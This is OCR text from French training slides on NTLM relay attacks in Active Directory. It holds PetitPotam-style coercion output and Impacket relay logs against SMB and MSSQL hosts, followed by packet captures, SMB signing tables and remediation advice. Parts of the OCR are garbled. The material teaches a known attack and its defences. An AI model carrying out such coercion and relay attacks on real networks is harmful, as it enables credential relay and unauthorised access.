[-] connecting to ncacn_np:10.26.1.212[\PIPE\lsarpc]
[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fdoafie
[+] Successfully bound!

[-] sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD_METPATH exception!!

[+] Attack worked!
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Utiliser une authentification - MSSQL

mssql://10.26.1.213 "SELECT
Impacket v@.10.2 - Copyright 2022 SecureAuth Corporation

[*] SMBD-Thread-5 (process_request_thrzuu): Received connection from 10.26.1.221, attacking target mssql:




Relai NTLM — Remédiations
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Mécanisme de signature sur NTLM

NTLM permet de mettre en place un mécanisme de signature.

Grace a ce mécanisme, le client et le serveur s’assurent de I'intégrité des échanges.

10.26.1.201
Impacket v@.10.0 - Copyright 2022 SecureAuth Corporation

[*] servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.26.1.221, attacking target smb://
10261201

[-] signing is reguired, attack won't work unless using -remove-target / --remove-mic

[*] Authenticating against smb://10.26.1.201 as GALAXY/GAL-TATOOINE$ SUCCEED

[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object bu
t has not been granted those access rights.)

[*] SMED-Thread-/ (process_request_thread): Connection from 10.26.1.221 controlled, but there are no more
targets left!




Mécanisme de signature sur NTLM

NTLM permet de mettre en place un mécanisme de signature.

Grace a ce mécanisme, le client et le serveur s’assurent de I'intégrité des échanges.

48 5.160886791 .26.1.201 10.26.10.4 356 Session Setup Response, Error: STATUS_MORE_P
49 5.171391311 .26.108.4 10.26.1.221 387 Session Setup Response, Error: STATUS_MORE_
00 5.186255233 .26.1.221 10.26.10.4 697 Session Setup Request, NTLMSSP_AUTH, User:
91 5.191322378 .26.108.4 10.26.1.201 656 Session Setup Request, NTLMSSP_AUTH, User:
Negotiate Identify: Not set
Negotiate Extended Security: Set
Target Type Share: Not set
Target Type Server: Not set
= Target Type Domain: Set
= Negotiate Always Sign: Set
Negotiate @ Not set
Negotiate OEM Workstation Supplied: Not set
Negotiate OEM Domain Supplied: Not set
Negotiate Anonymous: Not set
Megotiate NT Only: Not set
Negotiate NTLM key: Set

Negotiate 3: Not set
Negotiate Lan Manager Key: Not set
Negotiate Datagram: Not set
Negotiate Seal: Not set

Negotiate Sign: Set

He(uesL uxuuuouuws: Not set
Request Target: Set




Mécanisme de signature sur NTLM

NTLM permet de mettre en place un mécanisme de signature.

Grace a ce mécanisme, le client et le serveur s’assurent de I'intégrité des échanges.

SERVEUR : Disabled
Required Enabled
CLIENT - (SMBv1)
Required Signé Signe Non supporté

SMBv1 : Signé

Enabled Signé* : Non signé***
SMBvV2 : Non signé**

Disabled . . .

(SMBvA) Non supporté Non signé Non signe

* Client/serveur vers un contrdleur de domaine (par défaut)

** Un client vers un serveur autre gqu'un contrdleur de domaine en SMBvZ (par défaut)

*** Un client vers un serveur autre gu'un contrdleur de domaine en SMBvl (par défaut)

= e

_



Mécanisme de signature sur NTLM

SERVER
Signing Channel Binding
Disabled Enabled Required Disabled Enabled Required
SMB SMB
vi HTTP w2 LDAP | SMB | LDAP |[LDAPS|HTTPS|LDAPS/HTTPS|LDAPS HTTPS
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Mécanisme de signature sur NTLM

Référence : https://beta.hackndo.com/ntim-relay

=2ENR

Relai NTLM
Active Directory Windows

Pixis

Dans cet article

» Préliminaire
» Introduction
» Relai NTLM
» En pratique
» Authentification vs Session

» Signature de la session
Sionatiro Ao Vajthontificaticon (AALCY
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https://beta.hackndo.com/ntlm-relay/#signature-de-la-session

Mécanisme de signature sur NTLM

Remédiation générale :

- Du co6té serveur, utiliser des protocoles qui forcent la signature. Sinon,
forcer l'authentification via Kerberos sans laisser la possibilité de
s‘authentifier via NTLM

- Du co6té client, restreindre au maximum les capacités d’obtention
d’authentification (désactiver LLMNR, configurer les entrées « * » et
« wpad » dans le DNS...

- Segmenter le réseau et mettre en place des regles de filtrage strictes

LY
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Relai NTLM — Démonstration
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